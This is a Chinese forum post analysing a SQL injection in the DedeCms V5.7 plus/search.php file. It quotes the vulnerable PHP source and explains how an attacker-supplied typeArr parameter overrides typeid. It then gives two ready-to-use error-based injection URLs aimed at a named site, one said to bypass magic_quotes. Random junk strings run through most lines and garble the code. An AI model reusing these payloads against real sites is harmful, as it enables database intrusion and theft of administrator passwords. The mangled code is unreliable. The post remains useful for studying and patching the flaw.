找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2243|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.$ i0 D3 ^# f, Y7 I$ N' {
作者: c4rp3nt3r@0x50sec.org4 C+ u/ S: ?9 P7 s+ I! U1 l7 b
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: E' [7 B3 d& ]# O" y) X 9 `; @( h' q% X4 C; {) b( ]& D0 W5 S
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
4 z( @9 l5 s1 ^( j8 V$ K7 F1 i ' S+ Z3 U. g$ D% m2 Z
============% b% e; @+ f: m2 R6 V
. w0 _5 j% p* T# T/ `7 J2 ]9 d( O

  b0 W0 g1 T! I/ u6 mDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
+ B9 B8 c: H" J5 W * z8 i. }9 a' N3 ?0 O4 W
require_once(dirname(__FILE__).”/../include/common.inc.php”);* h4 K' R3 Q* a/ U6 E! R4 Y3 E8 {$ P; _
require_once(DEDEINC.”/arc.searchview.class.php”);
  K2 H: j' v, U9 a" U/ i$ v) G$ h
" A. p* e2 W' R0 P$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;$ ^' Y9 k, l& i$ k3 Q
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
& S+ k: X- ~& \* I, n$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;9 b  k. h% n0 C  l0 a& E
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
8 [4 Z7 F, a* X& }' \$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
" g& _9 G7 c$ F( S4 E. C 7 [* {% u1 {/ U! O# h) U4 p) y) p) m
if(!isset($orderby)) $orderby=”;' ?. [2 [0 I5 Y- r
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);* V& \6 c! a7 _; {1 z9 P

2 l+ ^& Q; P; G4 i * n9 E+ h. e, Z3 k( s$ c
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
- l: X1 u/ ^1 B9 Belse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);" i9 w0 }) Q- ?

9 \) k; h. H  n( ?if(!isset($keyword)){
3 ]. R& d# @' [- i! B' d: _4 K    if(!isset($q)) $q = ”;
' _, x& C5 r* D    $keyword=$q;
3 \0 h) m5 n+ H; G}
4 o3 e/ `% _" K1 ?
; Q% q* `8 o0 o; @' {$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));, {  S6 r0 o# ]8 n3 P* W

$ r6 f5 i: t4 U( J7 M//查找栏目信息1 C3 ?& Y5 h' s/ W. d( l- \9 |: r
if(empty($typeid))% L* k- o! G+ K/ s5 M8 I+ X3 I
{
# S3 }- m& z! Z( z% P    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
) J3 Z0 m# P0 [* R1 G$ {* e9 K    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )$ C9 p! e2 H, W6 m2 b
    {1 l$ J2 K/ Q& d7 N0 J/ P  }/ |
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);9 X  k7 G% M/ z$ ~% @- Z/ X* b* L
        fwrite($fp, “<”.”?php\r\n”);
$ a2 q4 s4 E8 e; ^# A( J! h        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
, t- Z" V2 S# F, N- J6 o8 i1 B- y        $dsql->Execute();( M6 V& {2 R5 s, ^& t* Q
        while($row = $dsql->GetArray())
, G* W$ y5 ?+ a( y' C& N' F& }! q        {
' {! y; a( U" |1 r8 P" w7 g            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
. a2 C: v2 L! x  Z3 K" I        }0 P5 @' j5 [5 M3 M: W# G" J
        fwrite($fp, ‘?’.'>’);
9 m( ?) K+ X9 `$ K        fclose($fp);% P& u6 b# N& r4 f" Z$ M! R
    }( Y& L2 G! q0 Y) I5 J
    //引入栏目缓存并看关键字是否有相关栏目内容7 C4 J7 p: v! Y$ Z4 F0 y
    require_once($typenameCacheFile);4 p7 ]% Z/ K) X# g) k
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个+ i. ]9 i* D! E3 i
//5 m) M5 D/ H: `; T8 H
    if(isset($typeArr) && is_array($typeArr))2 j2 p4 D% ]# E6 Q# |9 z; M6 H
    {
% A( o7 ^9 e) c        foreach($typeArr as $id=>$typename)
# P4 U; G/ U5 L) D2 |- Z        {
2 L) ~3 Q( K. i9 S# a & `7 `; @$ D4 e, S5 h
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过4 D8 d/ G9 \& D5 w( O
            if($keyword != $keywordn)8 J) R; v% S# k
            {; o. A4 g! a1 F: x
                $keyword = $keywordn;9 X+ ~, R4 }, X
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设2 D( B$ v! a% l* c# t# j3 F  Z
                break;
2 G- Q* _, k! e0 M' G1 _3 o( M            }8 U# U* I. u8 I7 l3 H
        }
% J9 h* y. b$ @, S4 K; m% K    }: `+ h5 a+ C" e: S1 o
}
# G) i4 o+ r' F$ R4 }然后plus/search.php文件下面定义了一个 Search类的对象 .7 y! ~. E# H, x; J9 ?2 ?9 z
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
" E1 `; ~' C2 L  \1 o# x$this->TypeLink = new TypeLink($typeid);- @( I8 [" Y6 |: w5 q

% q$ U1 z: ]5 W  t; _! tTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.2 d: Z' X& c! e) q% ^) ~

4 V7 R' t- i" a0 X& A9 D/ kclass TypeLink
  l* _$ |: E0 Y5 C  m- f# j4 n{8 }) v: E8 N8 m+ y; U7 W
    var $typeDir;
4 r# o9 L' f& z    var $dsql;2 q3 j4 F; f- ?' T& R! ^, @7 I
    var $TypeID;# S: C% E9 X; R) Q1 s
    var $baseDir;
0 y5 y# R: v0 b% M: q3 ~/ w    var $modDir;7 H8 e; \  Q1 C6 O' U2 ~
    var $indexUrl;& ^7 w. }: d. g' _7 {# E
    var $indexName;
5 S9 M  @1 z$ R0 Q7 P. Z1 I    var $TypeInfos;2 v8 V) v' j+ q  p4 a% O# K" g
    var $SplitSymbol;) z# ?$ t& j- N
    var $valuePosition;: P  X# M) U, F5 [( {& w2 Y
    var $valuePositionName;6 F0 R, s! |$ j% T& H& F. \
    var $OptionArrayList;//构造函数///////5 h* u9 |3 G# p; A! R
    //php5构造函数
: A) {3 z; D4 ?* }    function __construct($typeid)% F  g: W, y% O9 j* {
    {
" [% q. W$ L# C, ?1 x6 F8 R        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
7 P. j: t5 _+ S& G- d2 B        $this->indexName = $GLOBALS['cfg_indexname'];
2 b$ n8 [. e6 [" K' l% s        $this->baseDir = $GLOBALS['cfg_basedir'];4 I, r; S. ?: G5 J- K( C* W7 v: u! y
        $this->modDir = $GLOBALS['cfg_templets_dir'];
' Y8 b  k4 u7 F! k: }& |4 }, t: c        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
  y: o- _/ h* U9 V        $this->dsql = $GLOBALS['dsql'];
! @( @0 j' t* N: f, V2 a        $this->TypeID = $typeid;
( N: f$ g7 l2 P2 g        $this->valuePosition = ”;, m4 B# R; ~0 ?* x! ^: Q* O$ T! k
        $this->valuePositionName = ”;; `6 q( t% I7 N$ y8 F% D' o
        $this->typeDir = ”;
4 i# p# }+ a5 T# R        $this->OptionArrayList = ”;1 R! G/ w/ m8 R9 m) M5 X' L  j

( R: n$ o8 ^* V! w6 U5 f' D' O2 G        //载入类目信息5 P; A8 f6 T* R* I4 Y" u- f

5 ^; _2 s, C/ E        <font color=”Red”>$query = “SELECT tp.*,ch.typename as; ~! \4 h# N) v
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join+ ?3 q3 e% n1 ^" `, k
`#@__channeltype` ch; J2 b. S: J1 _6 W' b) S( [/ d# p
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
8 [: `+ U- o$ j4 j
, N) @2 V. m) I        if($typeid > 0)2 A9 X7 u3 ^% i* V: v9 R
        {5 [7 [0 |1 p5 L0 _& f) [7 z, Z. z& ~
            $this->TypeInfos = $this->dsql->GetOne($query);, D  z( I. ~( u
利用代码一 需要 即使magic_quotes_gpc = Off
' U7 C2 @; {7 L+ \2 S/ n
4 g& D$ F' ~+ Swww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title' P6 K9 C4 D: M, S5 L. R

- m  B1 u! v8 `- H5 L这只是其中一个利用代码… Search 类的构造函数再往下0 S7 Q0 A+ `" j
) I% N1 h: {* W4 ~: C' q
……省略9 Y7 O  U4 a0 ]0 E
$this->TypeID = $typeid;* M0 T, h9 s3 d3 X7 N2 |" K
……省略
8 W: e; K/ b9 U; f5 ~if($this->TypeID==”0″){
/ V6 v+ U% K3 M9 u1 u            $this->ChannelTypeid=1;
& B7 @& @4 C2 ~! x4 K+ z        }else{
+ \( s. U6 X( l+ A  Z            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
0 K: m+ V: m) \7 F//现在不鸡肋了吧亲…
! `+ B/ o: {8 y0 X: B+ V: g            $this->ChannelTypeid=$row['channeltype'];
0 _3 Z2 A* D  N' k: B# o7 s) W/ \( s3 V" w " V4 J! z8 o& _7 D3 `4 E
        }
# E, `/ A8 \2 w2 I利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
& C4 D7 J+ }8 ^/ h4 \3 m ) t; [# P( `/ a  d
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
0 ~" v# D( l- f) E& _- J5 L
# o$ A" T8 J0 R, @1 Q$ v4 R如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
; ]5 t8 }# ^3 S* Q* ^: {  \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表